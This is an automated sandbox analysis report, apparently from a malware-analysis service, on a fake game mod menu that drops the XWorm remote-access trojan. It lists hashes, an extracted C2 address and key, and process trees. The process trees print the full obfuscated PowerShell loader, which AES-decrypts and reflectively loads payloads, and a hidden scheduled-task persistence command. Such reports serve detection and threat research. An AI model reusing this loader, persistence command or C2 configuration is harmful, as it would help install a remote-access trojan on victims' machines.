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240514-ngg6csdd5z 10Analysis
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max time kernel
141s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
14/05/2024, 11:21
Static task
static1
Behavioral task
behavioral1
Sample
kiddionsmodmenu.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
kiddionsmodmenu.exe
Resource
win7-20240508-en
Behavioral task
behavioral3
Sample
kiddionsmodmenu.exe
Resource
win10v2004-20240226-en
General
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Target
kiddionsmodmenu.exe
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Size
386KB
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MD5
88e737816cc5f3e3809152c5f9dad5be
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SHA1
56dedf42285c74795f714dbac7782a5d0e695a97
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SHA256
6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
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SHA512
8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
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SSDEEP
12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn
Malware Config
Extracted
xworm
5.0
94.156.8.167:2020
8sPZSP21r8KwS1LM
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral3/memory/2908-89-0x0000000005C30000-0x0000000005C3E000-memory.dmp family_xworm -
Blocklisted process makes network request 1 IoCs
flow pid Process 53 2908 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 1252 powershell.exe 2480 powershell.exe 2908 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation kiddionsmodmenu.exe Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1252 powershell.exe 1252 powershell.exe 1252 powershell.exe 2480 powershell.exe 2480 powershell.exe 2480 powershell.exe 2908 powershell.exe 2908 powershell.exe 2908 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1252 powershell.exe Token: SeDebugPrivilege 2480 powershell.exe Token: SeIncreaseQuotaPrivilege 2480 powershell.exe Token: SeSecurityPrivilege 2480 powershell.exe Token: SeTakeOwnershipPrivilege 2480 powershell.exe Token: SeLoadDriverPrivilege 2480 powershell.exe Token: SeSystemProfilePrivilege 2480 powershell.exe Token: SeSystemtimePrivilege 2480 powershell.exe Token: SeProfSingleProcessPrivilege 2480 powershell.exe Token: SeIncBasePriorityPrivilege 2480 powershell.exe Token: SeCreatePagefilePrivilege 2480 powershell.exe Token: SeBackupPrivilege 2480 powershell.exe Token: SeRestorePrivilege 2480 powershell.exe Token: SeShutdownPrivilege 2480 powershell.exe Token: SeDebugPrivilege 2480 powershell.exe Token: SeSystemEnvironmentPrivilege 2480 powershell.exe Token: SeRemoteShutdownPrivilege 2480 powershell.exe Token: SeUndockPrivilege 2480 powershell.exe Token: SeManageVolumePrivilege 2480 powershell.exe Token: 33 2480 powershell.exe Token: 34 2480 powershell.exe Token: 35 2480 powershell.exe Token: 36 2480 powershell.exe Token: SeIncreaseQuotaPrivilege 2480 powershell.exe Token: SeSecurityPrivilege 2480 powershell.exe Token: SeTakeOwnershipPrivilege 2480 powershell.exe Token: SeLoadDriverPrivilege 2480 powershell.exe Token: SeSystemProfilePrivilege 2480 powershell.exe Token: SeSystemtimePrivilege 2480 powershell.exe Token: SeProfSingleProcessPrivilege 2480 powershell.exe Token: SeIncBasePriorityPrivilege 2480 powershell.exe Token: SeCreatePagefilePrivilege 2480 powershell.exe Token: SeBackupPrivilege 2480 powershell.exe Token: SeRestorePrivilege 2480 powershell.exe Token: SeShutdownPrivilege 2480 powershell.exe Token: SeDebugPrivilege 2480 powershell.exe Token: SeSystemEnvironmentPrivilege 2480 powershell.exe Token: SeRemoteShutdownPrivilege 2480 powershell.exe Token: SeUndockPrivilege 2480 powershell.exe Token: SeManageVolumePrivilege 2480 powershell.exe Token: 33 2480 powershell.exe Token: 34 2480 powershell.exe Token: 35 2480 powershell.exe Token: 36 2480 powershell.exe Token: SeIncreaseQuotaPrivilege 2480 powershell.exe Token: SeSecurityPrivilege 2480 powershell.exe Token: SeTakeOwnershipPrivilege 2480 powershell.exe Token: SeLoadDriverPrivilege 2480 powershell.exe Token: SeSystemProfilePrivilege 2480 powershell.exe Token: SeSystemtimePrivilege 2480 powershell.exe Token: SeProfSingleProcessPrivilege 2480 powershell.exe Token: SeIncBasePriorityPrivilege 2480 powershell.exe Token: SeCreatePagefilePrivilege 2480 powershell.exe Token: SeBackupPrivilege 2480 powershell.exe Token: SeRestorePrivilege 2480 powershell.exe Token: SeShutdownPrivilege 2480 powershell.exe Token: SeDebugPrivilege 2480 powershell.exe Token: SeSystemEnvironmentPrivilege 2480 powershell.exe Token: SeRemoteShutdownPrivilege 2480 powershell.exe Token: SeUndockPrivilege 2480 powershell.exe Token: SeManageVolumePrivilege 2480 powershell.exe Token: 33 2480 powershell.exe Token: 34 2480 powershell.exe Token: 35 2480 powershell.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 4160 wrote to memory of 3200 4160 kiddionsmodmenu.exe 90 PID 4160 wrote to memory of 3200 4160 kiddionsmodmenu.exe 90 PID 4160 wrote to memory of 3200 4160 kiddionsmodmenu.exe 90 PID 3200 wrote to memory of 3156 3200 cmd.exe 93 PID 3200 wrote to memory of 3156 3200 cmd.exe 93 PID 3200 wrote to memory of 3156 3200 cmd.exe 93 PID 3200 wrote to memory of 1252 3200 cmd.exe 94 PID 3200 wrote to memory of 1252 3200 cmd.exe 94 PID 3200 wrote to memory of 1252 3200 cmd.exe 94 PID 1252 wrote to memory of 2480 1252 powershell.exe 103 PID 1252 wrote to memory of 2480 1252 powershell.exe 103 PID 1252 wrote to memory of 2480 1252 powershell.exe 103 PID 1252 wrote to memory of 640 1252 powershell.exe 106 PID 1252 wrote to memory of 640 1252 powershell.exe 106 PID 1252 wrote to memory of 640 1252 powershell.exe 106 PID 640 wrote to memory of 4332 640 WScript.exe 108 PID 640 wrote to memory of 4332 640 WScript.exe 108 PID 640 wrote to memory of 4332 640 WScript.exe 108 PID 4332 wrote to memory of 456 4332 cmd.exe 110 PID 4332 wrote to memory of 456 4332 cmd.exe 110 PID 4332 wrote to memory of 456 4332 cmd.exe 110 PID 4332 wrote to memory of 2908 4332 cmd.exe 111 PID 4332 wrote to memory of 2908 4332 cmd.exe 111 PID 4332 wrote to memory of 2908 4332 cmd.exe 111
Processes
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C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zSF32A.tmp\XClient_Dealed.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zSF32A.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:3156
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_138_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_138.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2480
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_138.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_138.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_138.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:456
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2908
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1316 --field-trial-handle=2280,i,11703952675008463361,17436195144517971517,262144 --variations-seed-version /prefetch:81⤵PID:404
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD59751fcb3d8dc82d33d50eebe53abe314
SHA17a680212700a5d9f3ca67c81e0e243834387c20c
SHA256ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7
SHA51254907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709
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Filesize
53KB
MD53337d66209faa998d52d781d0ff2d804
SHA16594b85a70f998f79f43cdf1ca56137997534156
SHA2569b946b062865f68b9f0f43a011d33d7ea0926a3c8f78fb20d9cab6144314e1bd
SHA5128bbd14bd73111f7b55712f5d1e1b727e41db8e6e0c1243ee6809ff32b509e52dec7af34c064151fb5beccd59dda434a3f83abe987c561a25abfbb4cbcf9c7f1f
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Filesize
53KB
MD519bc2483e88e112153a679717144b69e
SHA1281d7a517a66fe2b7552802d8c3386d5b2ef5012
SHA256e21107774b634e61bfb02da292ef3416423f61fef0e8b3c35c21fba9fd0607e9
SHA512534a37ac15a5e9815d92270e139b1b826c32ce2856392132493ab30140630ed6de17e6a1e4c41b7cb9df00fcbfb1066de2ef1cfa8c9394560edfca8f3a1f804d
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Filesize
20KB
MD5f9615faf3a812293eb056573194e0708
SHA1942bc8c62b31f0932df16ca04323dc606bde9178
SHA256d309f1021447d68077367537a7fd8c2c66cfdddc57be9705b1fd37a33282591c
SHA51282bdc8f1ad25045b49b8c72d9d12b1a1ff293c5d5a61a464798d7d379a19fda26a48331ce7b7941468a23bd0d9ff9d79cd61d158fad980e8d8ad9f64af7863c3
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Filesize
152KB
MD50b426e8571f8d3e437b7a42e9b8fd808
SHA1986edba4c39be9edb552284dac555e2e95f68a4a
SHA2569c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e
SHA512e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
115B
MD52571c775187240e52e7a406a70ed0b01
SHA140a1f66db6c7237d0083578f1e43fd30ded6798e
SHA256bbb919f5818c47ac539f13285dd37cf8ea3a5e3d239bc5026b134c3945d4413b
SHA512e4d8d57624b2d14ccd19679443095cf5e8ddeab4dd87c0cf1d2ac2c9c0d09bdb680c68f47ff69ae6206079f4acd355843cb658c4220e0f13e30f21b3618d0f57